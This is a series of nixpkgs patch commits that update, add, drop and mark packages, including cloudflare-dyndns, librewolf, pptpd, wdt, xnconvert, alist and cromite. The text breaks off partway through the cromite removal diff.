diff --git a/pkgs/by-name/sh/shader-slang/package.nix b/pkgs/by-name/sh/shader-slang/package.nix
index 703f05a069a1..9d8704537ae1 100644
--- a/pkgs/by-name/sh/shader-slang/package.nix
+++ b/pkgs/by-name/sh/shader-slang/package.nix
@@ -144,6 +144,7 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "A shading language that makes it easier to build and maintain large shader codebases in a modular and extensible fashion";
     homepage = "https://github.com/shader-slang/slang";
+    changelog = "https://github.com/shader-slang/slang/releases/tag/v${finalAttrs.version}";
     license = with lib.licenses; [
       asl20
       llvm-exception

From beb280d8cc7906b4257758df031b81904f92d6b0 Mon Sep 17 00:00:00 2001
From: Ratchanan Srirattanamet <peathot@hotmail.com>
Date: Sun, 25 May 2025 10:18:15 +0000
Subject: [PATCH 0932/4511] cloudflare-dyndns: 5.3 -> 5.4

Changelog available at [^1]. The most important fix is the issue where
it fails to read API token from a file if it ends with a newline. This
is particularly important since cloudflare-dyndns now reads services.
cloudflare-dyndns.apiTokenFile directly.

The list of fixes is small, making it suitable to be backported to NixOS
25.05.

[^1]: https://github.com/kissgyorgy/cloudflare-dyndns/releases/tag/v5.4

(cherry picked from commit 096300d628a3765d5ee489cf11646e59b507e790)
---
 pkgs/by-name/cl/cloudflare-dyndns/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/cl/cloudflare-dyndns/package.nix b/pkgs/by-name/cl/cloudflare-dyndns/package.nix
index dcbfbb2b8f27..9eaeea705cfc 100644
--- a/pkgs/by-name/cl/cloudflare-dyndns/package.nix
+++ b/pkgs/by-name/cl/cloudflare-dyndns/package.nix
@@ -6,14 +6,14 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "cloudflare-dyndns";
-  version = "5.3";
+  version = "5.4";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "kissgyorgy";
     repo = "cloudflare-dyndns";
     rev = "v${version}";
-    hash = "sha256-t0MqH9lDfl+cAnPYSG7P32OGO8Qpo1ep0Hj3Xl76lhU=";
+    hash = "sha256-tCZX9CKDwGAZ8/rwI764uuE9SQ1A5WhVoqgUegJ19g4=";
   };
 
   build-system = with python3.pkgs; [

From 4958103c26afae26063459f96b30a588bd20456d Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 12 Jun 2025 17:46:33 +0200
Subject: [PATCH 0933/4511] librewolf-unwrapped: 139.0.1-1 -> 139.0.4-1

Upstream release: https://codeberg.org/librewolf/source/releases/tag/139.0.4-1
Firefox mainline release notes: https://www.mozilla.org/en-US/firefox/139.0.4/releasenotes/

(cherry picked from commit 8e086587b900d592c3425c67975f3f5ab612ccc1)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 7c53666455cd..4b24b1a27002 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "139.0.1-1",
+  "packageVersion": "139.0.4-1",
   "source": {
-    "rev": "139.0.1-1",
-    "hash": "sha256-3qMMu33y4MCPSUsFCMNd7CDEJjZJsfLdjPSFRC/obQg="
+    "rev": "139.0.4-1",
+    "hash": "sha256-rEhidZsJEQU8ist278Cw1//+MVWz1UqqZPDF9v+H+cc="
   },
   "firefox": {
-    "version": "139.0.1",
-    "hash": "sha512-eK4Q/BSQDrEnO3/3mKFZUE9oFmw5sfEu+eoEJD3rx4RywkSZ2gFkFZD+tdKyhHUTHS7JTW8o/U8vZEpyH39Aug=="
+    "version": "139.0.4",
+    "hash": "sha512-+lrnmLDNSF4KVrDFftfzPg0O+SEwLcAWnqyRkmGUq+IHC+tUI5yBkk+BmmC1ifMF+SOXDXU8B7pQrMNuGkkttA=="
   }
 }

From da0a0ce3e2411701cd44d07b0295b84b94920c7c Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 13:22:26 -0400
Subject: [PATCH 0934/4511] pptpd: 1.4.0 -> 1.5.0

Changelog: https://sourceforge.net/p/poptop/git/ci/5e1efd65708300657d37f179a9758303df85ddf9/tree/NEWS
(cherry picked from commit e696a74c54385c3926a65b316f9784bbe45b80d0)
---
 pkgs/by-name/pp/pptpd/package.nix            | 10 +---
 pkgs/by-name/pp/pptpd/ppp-2.5.0-compat.patch | 59 --------------------
 2 files changed, 3 insertions(+), 66 deletions(-)
 delete mode 100644 pkgs/by-name/pp/pptpd/ppp-2.5.0-compat.patch

diff --git a/pkgs/by-name/pp/pptpd/package.nix b/pkgs/by-name/pp/pptpd/package.nix
index 75afbd812f05..86df1ced9c54 100644
--- a/pkgs/by-name/pp/pptpd/package.nix
+++ b/pkgs/by-name/pp/pptpd/package.nix
@@ -7,21 +7,17 @@
 
 stdenv.mkDerivation rec {
   pname = "pptpd";
-  version = "1.4.0";
+  version = "1.5.0";
 
   src = fetchurl {
     url = "mirror://sourceforge/poptop/${pname}/${pname}-${version}/${pname}-${version}.tar.gz";
-    sha256 = "1h06gyxj51ba6kbbnf6hyivwjia0i6gsmjz8kyggaany8a58pkcg";
+    sha256 = "sha256-anJChLHOAOoj99dgjQgYQ6EMio2H2VHLLqhucKobTnc=";
   };
 
-  patches = [
-    ./ppp-2.5.0-compat.patch
-  ];
-
   buildInputs = [ ppp ];
 
   postPatch = ''
-    substituteInPlace plugins/Makefile --replace "install -o root" "install"
+    substituteInPlace plugins/Makefile --replace-fail "install -o root" "install"
   '';
 
   meta = with lib; {
diff --git a/pkgs/by-name/pp/pptpd/ppp-2.5.0-compat.patch b/pkgs/by-name/pp/pptpd/ppp-2.5.0-compat.patch
deleted file mode 100644
index 33c4a828067e..000000000000
--- a/pkgs/by-name/pp/pptpd/ppp-2.5.0-compat.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-diff --git a/plugins/pptpd-logwtmp.c b/plugins/pptpd-logwtmp.c
-index ac5ecc2..9745177 100644
---- a/plugins/pptpd-logwtmp.c
-+++ b/plugins/pptpd-logwtmp.c
-@@ -12,9 +12,18 @@
- #include <unistd.h>
- #include <utmp.h>
- #include <string.h>
-+
-+#define HAVE_STDARG_H 1
-+#define HAVE_STDBOOL_H 1
-+#define HAVE_STDDEF_H 1
- #include <pppd/pppd.h>
-+#include <pppd/options.h>
-+#include <linux/ppp_defs.h>
-+#include <linux/limits.h>
-+
-+int debug = 0;
- 
--char pppd_version[] = VERSION;
-+char pppd_version[] = PPPD_VERSION;
- 
- static char pptpd_original_ip[PATH_MAX+1];
- static bool pptpd_logwtmp_strip_domain = 0;
-@@ -42,25 +51,27 @@ static char *reduce(char *user)
- 
- static void ip_up(void *opaque, int arg)
- {
-+  char peer_authname[MAXNAMELEN];
-+  ppp_peer_authname(peer_authname, MAXNAMELEN);
-   char *user = reduce(peer_authname);
-   if (debug)
--    notice("pptpd-logwtmp.so ip-up %s %s %s", ifname, user, 
-+    notice("pptpd-logwtmp.so ip-up %s %s %s", ppp_ifname(), user, 
- 	   pptpd_original_ip);
--  logwtmp(ifname, user, pptpd_original_ip);
-+  logwtmp(ppp_ifname(), user, pptpd_original_ip);
- }
- 
- static void ip_down(void *opaque, int arg)
- {
-   if (debug) 
--    notice("pptpd-logwtmp.so ip-down %s", ifname);
--  logwtmp(ifname, "", "");
-+    notice("pptpd-logwtmp.so ip-down %s", ppp_ifname());
-+  logwtmp(ppp_ifname(), "", "");
- }
- 
- void plugin_init(void)
- {
--  add_options(options);
--  add_notifier(&ip_up_notifier, ip_up, NULL);
--  add_notifier(&ip_down_notifier, ip_down, NULL);
-+  ppp_add_options(options);
-+  ppp_add_notify(NF_IP_UP, ip_up, NULL);
-+  ppp_add_notify(NF_IP_DOWN, ip_down, NULL);
-   if (debug) 
-     notice("pptpd-logwtmp: $Version$");
- }

From 4abf5e6fb84d396f8874be231aacf4ff7da49acc Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 10 Jun 2025 10:53:40 -0400
Subject: [PATCH 0935/4511] firebird_2_5: drop

End-of-life, unused, and has not built [since 2025-01-15](https://hydra.nixos.org/job/nixpkgs/trunk/firebird_2_5.x86_64-linux/all).

(cherry picked from commit 63cb3bc53de28033b652aa47a6f020c7fce1479b)
---
 pkgs/servers/firebird/default.nix | 28 ----------------------------
 pkgs/top-level/aliases.nix        |  1 +
 pkgs/top-level/all-packages.nix   |  1 -
 3 files changed, 1 insertion(+), 29 deletions(-)

diff --git a/pkgs/servers/firebird/default.nix b/pkgs/servers/firebird/default.nix
index 1612f518a795..dca4bf5146d1 100644
--- a/pkgs/servers/firebird/default.nix
+++ b/pkgs/servers/firebird/default.nix
@@ -55,34 +55,6 @@ let
   };
 in
 rec {
-
-  firebird_2_5 = stdenv.mkDerivation (
-    base
-    // rec {
-      version = "2.5.9";
-
-      src = fetchFromGitHub {
-        owner = "FirebirdSQL";
-        repo = "firebird";
-        rev = "R${builtins.replaceStrings [ "." ] [ "_" ] version}";
-        sha256 = "sha256-YyvlMeBux80OpVhsCv+6IVxKXFRsgdr+1siupMR13JM=";
-      };
-
-      configureFlags = base.configureFlags ++ [ "--with-system-icu" ];
-
-      installPhase = ''
-        runHook preInstall
-        mkdir -p $out
-        cp -r gen/firebird/* $out
-        runHook postInstall
-      '';
-
-      meta = base.meta // {
-        platforms = [ "x86_64-linux" ];
-      };
-    }
-  );
-
   firebird_3 = stdenv.mkDerivation (
     base
     // rec {
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c8f4710f594..21871fd149fe 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -646,6 +646,7 @@ mapAliases {
   finger_bsd = bsd-finger;
   fingerd_bsd = bsd-fingerd;
   fira-code-nerdfont = lib.warnOnInstantiate "fira-code-nerdfont is redundant. Use nerd-fonts.fira-code instead." nerd-fonts.fira-code; # Added 2024-11-10
+  firebird_2_5 = throw "'firebird_2_5' has been removed as it has reached end-of-life and does not build."; # Added 2025-06-10
   firefox-esr-115 = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr` or `firefox-esr-128` instead.";
   firefox-esr-115-unwrapped = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr-unwrapped` or `firefox-esr-128-unwrapped` instead.";
   firefox-wayland = firefox; # Added 2022-11-15
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index db81bcfb396e..29dc2c37b0a4 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10390,7 +10390,6 @@ with pkgs;
   inherit (callPackages ../servers/firebird { })
     firebird_4
     firebird_3
-    firebird_2_5
     firebird
     ;
 

From d06ef6957867171acf013773b0991ee2445d735b Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 20:41:25 -0400
Subject: [PATCH 0936/4511] vbetool: drop

This leaf package is unmaintained upstream and broken.

(cherry picked from commit 1356d96f74ce73db346a48053bfd79fb3f6f6c62)
---
 pkgs/by-name/vb/vbetool/package.nix | 39 -----------------------------
 pkgs/top-level/aliases.nix          |  1 +
 2 files changed, 1 insertion(+), 39 deletions(-)
 delete mode 100644 pkgs/by-name/vb/vbetool/package.nix

diff --git a/pkgs/by-name/vb/vbetool/package.nix b/pkgs/by-name/vb/vbetool/package.nix
deleted file mode 100644
index 9cf71be3c852..000000000000
--- a/pkgs/by-name/vb/vbetool/package.nix
+++ /dev/null
@@ -1,39 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  pciutils,
-  libx86,
-  zlib,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "vbetool";
-  version = "1.1";
-
-  src = fetchurl {
-    url = "https://www.codon.org.uk/~mjg59/vbetool/download/${pname}-${version}.tar.gz";
-    sha256 = "0m7rc9v8nz6w9x4x96maza139kin6lg4hscy6i13fna4672ds9jd";
-  };
-
-  buildInputs = [
-    pciutils
-    libx86
-    zlib
-  ];
-
-  patchPhase = ''
-    substituteInPlace Makefile.in --replace '$(libdir)/libpci.a' ""
-  '';
-
-  configureFlags = [ "LDFLAGS=-lpci" ];
-
-  meta = with lib; {
-    description = "Video BIOS execution tool";
-    homepage = "https://www.codon.org.uk/~mjg59/vbetool/";
-    maintainers = [ maintainers.raskin ];
-    platforms = platforms.linux;
-    license = licenses.gpl2Only;
-    mainProgram = "vbetool";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c8f4710f594..c41283d4ef92 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1955,6 +1955,7 @@ mapAliases {
   varnish75Packages = throw "varnish 7.5 is EOL. Either use the LTS or upgrade."; # Added 2025-03-29
   varnish76 = throw "varnish 7.6 is EOL. Either use the LTS or upgrade."; # Added 2025-05-15
   varnish76Packages = throw "varnish 7.6 is EOL. Either use the LTS or upgrade."; # Added 2025-05-15
+  vbetool = throw "'vbetool' has been removed as it is broken and not maintained upstream."; # Added 2025-06-11
   vdirsyncerStable = vdirsyncer; # Added 2020-11-08, see https://github.com/NixOS/nixpkgs/issues/103026#issuecomment-723428168
   ventoy-bin = ventoy; # Added 2023-04-12
   ventoy-bin-full = ventoy-full; # Added 2023-04-12

From bbd34cc8ed76813704f618953c880a424a4c3be1 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 12 Jun 2025 10:29:24 -0400
Subject: [PATCH 0937/4511] wdt: 1.27.1612021-unstable-2024-12-06 ->
 1.27.1612021-unstable-2025-06-05

Fixes gcc 14 build.

Requires a new patch to fix the glog dependency, similar to those in
https://github.com/NixOS/nixpkgs/pull/371610#discussion_r1905689334.

(cherry picked from commit 473b3728846bb34727bbc73cefd192e2f21ce470)
---
 pkgs/by-name/wd/wdt/fix-glog-include.patch | 49 ++++++++++++++++++++++
 pkgs/by-name/wd/wdt/package.nix            | 10 +++--
 2 files changed, 56 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/by-name/wd/wdt/fix-glog-include.patch

diff --git a/pkgs/by-name/wd/wdt/fix-glog-include.patch b/pkgs/by-name/wd/wdt/fix-glog-include.patch
new file mode 100644
index 000000000000..b1b6b5de53f1
--- /dev/null
+++ b/pkgs/by-name/wd/wdt/fix-glog-include.patch
@@ -0,0 +1,49 @@
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index abbeead..93cac12 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -136,8 +136,7 @@ find_package(Threads) # this will set ${CMAKE_THREAD_LIBS_INIT} (ie pthreads)
+ find_path(DOUBLECONV_INCLUDE_DIR double-conversion/double-conversion.h)
+ find_library(DOUBLECONV_LIBRARY double-conversion)
+ # Glog
+-find_path(GLOG_INCLUDE_DIR glog/logging.h)
+-find_library(GLOG_LIBRARY glog)
++find_package(glog REQUIRED)
+ # Gflags
+ find_path(GFLAGS_INCLUDE_DIR gflags/gflags.h)
+ find_library(GFLAGS_LIBRARY gflags)
+@@ -174,7 +173,7 @@ endif()
+ # You can also add jemalloc to the list if you have it/want it
+ target_link_libraries(wdt_min
+   ${FOLLY_LIBRARY}
+-  ${GLOG_LIBRARY}
++  glog::glog
+   ${GFLAGS_LIBRARY}
+   ${Boost_LIBRARIES}
+   ${DOUBLECONV_LIBRARY}
+@@ -226,7 +225,7 @@ if (NOT WDT_USE_SYSTEM_FOLLY)
+   endif()
+ 
+   add_library(folly4wdt ${FOLLY_CPP_SRC})
+-  target_link_libraries(folly4wdt ${GLOG_LIBRARY} ${DOUBLECONV_LIBRARY})
++  target_link_libraries(folly4wdt glog::glog ${DOUBLECONV_LIBRARY})
+ endif()
+ 
+ # Order is important - inside fb we want the above
+@@ -234,7 +233,6 @@ endif()
+ include_directories(${CMAKE_CURRENT_BINARY_DIR})
+ include_directories(${FOLLY_INCLUDE_DIR})
+ include_directories(${DOUBLECONV_INCLUDE_DIR})
+-include_directories(${GLOG_INCLUDE_DIR})
+ include_directories(${GFLAGS_INCLUDE_DIR})
+ include_directories(${CMAKE_CURRENT_SOURCE_DIR}/..)
+ 
+@@ -336,7 +334,7 @@ if (BUILD_TESTING)
+   )
+ 
+   target_link_libraries(wdtbenchlib
+-    ${GLOG_LIBRARY}
++    glog::glog
+     ${GFLAGS_LIBRARY}
+   )
+ 
diff --git a/pkgs/by-name/wd/wdt/package.nix b/pkgs/by-name/wd/wdt/package.nix
index 62f4759f87fe..578a7dc236dc 100644
--- a/pkgs/by-name/wd/wdt/package.nix
+++ b/pkgs/by-name/wd/wdt/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation {
   pname = "wdt";
-  version = "1.27.1612021-unstable-2024-12-06";
+  version = "1.27.1612021-unstable-2025-06-05";
 
   src = fetchFromGitHub {
     owner = "facebook";
     repo = "wdt";
-    rev = "7e56c871be706cc96df48be7c4017bff7c6fc7c8";
-    sha256 = "sha256-mvfJUiOI7Cre90hIaBJcmfTbTV5M+Hf+p6VKNYEc5WU=";
+    rev = "5cf3886d1b70f8aee60ec74b86823de1dce4233b";
+    sha256 = "sha256-g6wzYM++yv8tCUKom1bWB9MlImG/+OkhoTH+kTxURoA=";
   };
 
   nativeBuildInputs = [ cmake ];
@@ -37,6 +37,10 @@ stdenv.mkDerivation {
     ln -s $sourceRoot wdt
   '';
 
+  patches = [
+    ./fix-glog-include.patch
+  ];
+
   cmakeFlags = [
     "-DWDT_USE_SYSTEM_FOLLY=ON"
   ];

From 1dbca9cf008ec820f69a5824ecc9320cf9563f4d Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 12 Jun 2025 16:27:54 -0400
Subject: [PATCH 0938/4511] xbursttools: drop

Broken with gcc 14; unmaintained both upstream and in nixpkgs.

(cherry picked from commit 23d58e6f4fd5f4d87c914869936e2b958d513c29)
---
 pkgs/tools/misc/xburst-tools/default.nix | 68 ------------------------
 pkgs/top-level/aliases.nix               |  1 +
 pkgs/top-level/all-packages.nix          |  7 ---
 3 files changed, 1 insertion(+), 75 deletions(-)
 delete mode 100644 pkgs/tools/misc/xburst-tools/default.nix

diff --git a/pkgs/tools/misc/xburst-tools/default.nix b/pkgs/tools/misc/xburst-tools/default.nix
deleted file mode 100644
index 35a94d1952ad..000000000000
--- a/pkgs/tools/misc/xburst-tools/default.nix
+++ /dev/null
@@ -1,68 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchgit,
-  libusb-compat-0_1,
-  libusb1,
-  autoconf,
-  automake,
-  libconfuse,
-  pkg-config,
-  gccCross ? null,
-}:
-
-let
-  version = "2011-12-26";
-in
-stdenv.mkDerivation {
-  pname = "xburst-tools";
-  inherit version;
-
-  src = fetchgit {
-    url = "git://projects.qi-hardware.com/xburst-tools.git";
-    rev = "c71ce8e15db25fe49ce8702917cb17720882e341";
-    sha256 = "1hzdngs1l5ivvwnxjwzc246am6w1mj1aidcf0awh9yw0crzcjnjr";
-  };
-
-  preConfigure = ''
-    sh autogen.sh
-  '';
-
-  # Workaround build failure on -fno-common toolchains:
-  #   mipsel-unknown-linux-uclibc-ld: boothandler.o:(.bss+0x8): multiple definition of
-  #     `start_addr'; main.o:(.bss+0x8): first defined here
-  NIX_CFLAGS_COMPILE_FOR_TARGET = "-fcommon";
-
-  configureFlags = lib.optionals (gccCross != null) [
-    "--enable-firmware"
-    "CROSS_COMPILE=${gccCross.targetPrefix}"
-  ];
-
-  hardeningDisable = [
-    "pic"
-    "stackprotector"
-  ];
-
-  # Not to strip cross build binaries (this is for the gcc-cross-wrapper)
-  dontCrossStrip = true;
-
-  nativeBuildInputs = [
-    autoconf
-    automake
-    pkg-config
-  ];
-  buildInputs = [
-    libusb-compat-0_1
-    libusb1
-    libconfuse
-  ] ++ lib.optional (gccCross != null) gccCross;
-
-  meta = {
-    broken = stdenv.hostPlatform.isDarwin;
-    description = "Qi tools to access the Ben Nanonote USB_BOOT mode";
-    license = lib.licenses.gpl3;
-    homepage = "http://www.linux-mtd.infradead.org/";
-    maintainers = [ ];
-    platforms = lib.platforms.x86_64;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c8f4710f594..66424e4e2086 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -2021,6 +2021,7 @@ mapAliases {
   xarchive = throw "'xarchive' has been removed due to lack of maintenance upstream. Consider using 'file-roller' instead"; # Added 2024-10-19
   xbmc-retroarch-advanced-launchers = throw "'xbmc-retroarch-advanced-launchers' has been renamed to/replaced by 'kodi-retroarch-advanced-launchers'"; # Converted to throw 2024-10-17
   xboxdrv = throw "'xboxdrv' has been dropped as it has been superseded by an in-tree kernel driver"; # Added 2024-12-25
+  xbursttools = throw "'xbursttools' has been removed as it is broken and unmaintained upstream."; # Added 2025-06-12
   xdg_utils = throw "'xdg_utils' has been renamed to/replaced by 'xdg-utils'"; # Converted to throw 2024-10-17
   xdragon = dragon-drop; # Added 2025-03-22
   xen-light = throw "'xen-light' has been renamed to/replaced by 'xen-slim'"; # Added 2024-06-30
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index db81bcfb396e..fc65cb1ac098 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -4808,13 +4808,6 @@ with pkgs;
     ocamlPackages = ocaml-ng.ocamlPackages_4_14;
   };
 
-  xbursttools = callPackage ../tools/misc/xburst-tools {
-    # It needs a cross compiler for mipsel to build the firmware it will
-    # load into the Ben Nanonote
-    gccCross = pkgsCross.ben-nanonote.buildPackages.gccWithoutTargetLibc;
-    autoconf = buildPackages.autoconf269;
-  };
-
   clipbuzz = callPackage ../tools/misc/clipbuzz {
     zig = buildPackages.zig_0_12;
   };

From 68790e2e8dd37913cae88a1692d531f5819e4b25 Mon Sep 17 00:00:00 2001
From: Alden Parker <ajparker1401@gmail.com>
Date: Thu, 12 Jun 2025 17:21:24 -0700
Subject: [PATCH 0939/4511] maintainers: add aldenparker

(cherry picked from commit 32dd53594cbfefa1b2ec6aa1124461d8568eab74)
---
 maintainers/maintainer-list.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3b5108a61158..3951c245165c 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -1069,6 +1069,11 @@
       }
     ];
   };
+  aldenparker = {
+    github = "aldenparker";
+    githubId = 32986873;
+    name = "Alden Parker";
+  };
   aldoborrero = {
     email = "aldoborrero+nixos@pm.me";
     github = "aldoborrero";

From a6ee51272b90d49b4f82fb7bafe4e323b32b421c Mon Sep 17 00:00:00 2001
From: Alden Parker <ajparker1401@gmail.com>
Date: Thu, 12 Jun 2025 17:22:15 -0700
Subject: [PATCH 0940/4511] xnconvert: init at 1.105.0

(cherry picked from commit ecc4bf8acb597ba2aa61d5e68d6bbb8989131095)
---
 pkgs/by-name/xn/xnconvert/package.nix | 72 +++++++++++++++++++++++++++
 1 file changed, 72 insertions(+)
 create mode 100644 pkgs/by-name/xn/xnconvert/package.nix

diff --git a/pkgs/by-name/xn/xnconvert/package.nix b/pkgs/by-name/xn/xnconvert/package.nix
new file mode 100644
index 000000000000..6b62d59f5eed
--- /dev/null
+++ b/pkgs/by-name/xn/xnconvert/package.nix
@@ -0,0 +1,72 @@
+{
+  lib,
+  fetchurl,
+  appimageTools,
+  makeDesktopItem,
+  imagemagick,
+  runCommand,
+}:
+
+let
+  icon =
+    runCommand "xnconvert-icon.png"
+      {
+        nativeBuildInputs = [ imagemagick ];
+        src = fetchurl {
+          url = "https://www.xnview.com/img/app-xnconvert-512.webp";
+          hash = "sha256-le+rvthQndY3KbkPYuMGZDDcvdpvH9CIS2REP1vmDXg=";
+        };
+      }
+      ''
+        convert $src $out
+      '';
+  desktopItem = (
+    makeDesktopItem {
+      name = "xnconvert";
+      desktopName = "XnConvert";
+      exec = "xnconvert";
+      icon = "xnconvert";
+      comment = "A fast, powerful and free cross-platform batch image converter.";
+      categories = [ "Graphics" ];
+    }
+  );
+  version = "1.105.0";
+in
+appimageTools.wrapType2 {
+  pname = "xnconvert";
+  inherit version;
+
+  src = fetchurl {
+    url = "https://download.xnview.com/old_versions/XnConvert/XnConvert-${version}.glibc2.17-x86_64.AppImage";
+    hash = "sha256-eWQSUVxR3G3XbwBCht6LW3t3/N668jH4UqK5OnRY0ko=";
+  };
+
+  extraPkgs = pkgs: [
+    pkgs.qt5.qtbase
+  ];
+
+  extraInstallCommands = ''
+    install -m 444 -D ${icon} $out/share/icons/hicolor/512x512/apps/xnconvert.png
+
+    mkdir -p $out/share/applications/
+    cp ${desktopItem}/share/applications/*.desktop $out/share/applications/
+  '';
+
+  meta = {
+    homepage = "https://www.xnview.com/en/xnconvert";
+    description = "Fast, powerful and free cross-platform batch image converter";
+    longDescription = ''
+      XnConvert is a fast, powerful and free cross-platform batch image converter.
+      It allows to automate editing of your photo collections: you can rotate,
+      convert and compress your images, photos and pictures easily, and apply over
+      80 actions (like resize, crop, color adjustments, filter, ...).
+      All common picture and graphics formats are supported (JPEG, TIFF, PNG, GIF,
+      WebP, PSD, JPEG2000, JPEG-XL, OpenEXR, camera RAW, HEIC, PDF, DNG, CR2).
+      You can save and re-use your presets for another batch image conversion.
+    '';
+    platforms = lib.platforms.linux;
+    license = lib.licenses.unfree;
+    mainProgram = "xnconvert";
+    maintainers = with lib.maintainers; [ aldenparker ];
+  };
+}

From 4a119d3e45be7161f4353bb746c0e575f17ba53e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 13 Jun 2025 04:30:44 +0000
Subject: [PATCH 0941/4511] dprint-plugins.dprint-plugin-typescript: 0.95.5 ->
 0.95.7

(cherry picked from commit cf85edf636a0bb764c2774d162e7941ef6720506)
---
 pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
index 17c27fd563a6..b67fd0559b34 100644
--- a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
+++ b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
@@ -1,7 +1,7 @@
 { mkDprintPlugin }:
 mkDprintPlugin {
   description = "TypeScript/JavaScript code formatter.";
-  hash = "sha256-sn10yaYbp6VWspqEMKCd7HbDvKi35AW5Xn8FGzzN3kM=";
+  hash = "sha256-mAePVUsjHVo9okkozXZmwvz456YeO36ghyU4gxKJdyw=";
   initConfig = {
     configExcludes = [ "**/node_modules" ];
     configKey = "typescript";
@@ -16,6 +16,6 @@ mkDprintPlugin {
   };
   pname = "dprint-plugin-typescript";
   updateUrl = "https://plugins.dprint.dev/dprint/typescript/latest.json";
-  url = "https://plugins.dprint.dev/typescript-0.95.5.wasm";
-  version = "0.95.5";
+  url = "https://plugins.dprint.dev/typescript-0.95.7.wasm";
+  version = "0.95.7";
 }

From 01bc10725a6b0dea5faffe7140202d77768ed942 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Fri, 13 Jun 2025 10:53:36 +0800
Subject: [PATCH 0942/4511] alist: mark as insecure

(cherry picked from commit 5fa650c8014849d67c1f7eccb3c50f24b253d329)
---
 pkgs/by-name/al/alist/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/al/alist/package.nix b/pkgs/by-name/al/alist/package.nix
index 77805b365d33..80bd8031389b 100644
--- a/pkgs/by-name/al/alist/package.nix
+++ b/pkgs/by-name/al/alist/package.nix
@@ -103,6 +103,10 @@ buildGoModule rec {
       # alist-web
       mit
     ];
+    knownVulnerabilities = [
+      "Alist was acquired by Bugotech, a company distrusted by the community"
+      "Uses a questionable API server alist.nn.ci for account creation for certain drivers"
+    ];
     maintainers = with lib.maintainers; [ moraxyc ];
     sourceProvenance = with lib.sourceTypes; [
       fromSource

From b8a372e210b9c7289aeb65412b48818484347d66 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Mon, 2 Jun 2025 03:59:30 +0800
Subject: [PATCH 0943/4511] cromite: drop

(cherry picked from commit 07d9f0bcd7266d14ac35dec44d7aefe7bc2ac71f)
---
 pkgs/by-name/cr/cromite/package.nix | 266 ----------------------------
 pkgs/by-name/cr/cromite/update.sh   |  18 --
 pkgs/top-level/aliases.nix          |   1 +
 3 files changed, 1 insertion(+), 284 deletions(-)
 delete mode 100644 pkgs/by-name/cr/cromite/package.nix
 delete mode 100755 pkgs/by-name/cr/cromite/update.sh

diff --git a/pkgs/by-name/cr/cromite/package.nix b/pkgs/by-name/cr/cromite/package.nix
deleted file mode 100644
index dcd2a8fc0588..000000000000
--- a/pkgs/by-name/cr/cromite/package.nix
+++ /dev/null
@@ -1,266 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  makeWrapper,
-  patchelf,
-  copyDesktopItems,
-  makeDesktopItem,
-
-  # Linked dynamic libraries.
-  alsa-lib,
-  at-spi2-atk,
-  at-spi2-core,
-  atk,
-  cairo,
-  cups,
-  dbus,
-  expat,
-  fontconfig,
-  freetype,
-  gcc-unwrapped,
-  gdk-pixbuf,
-  glib,
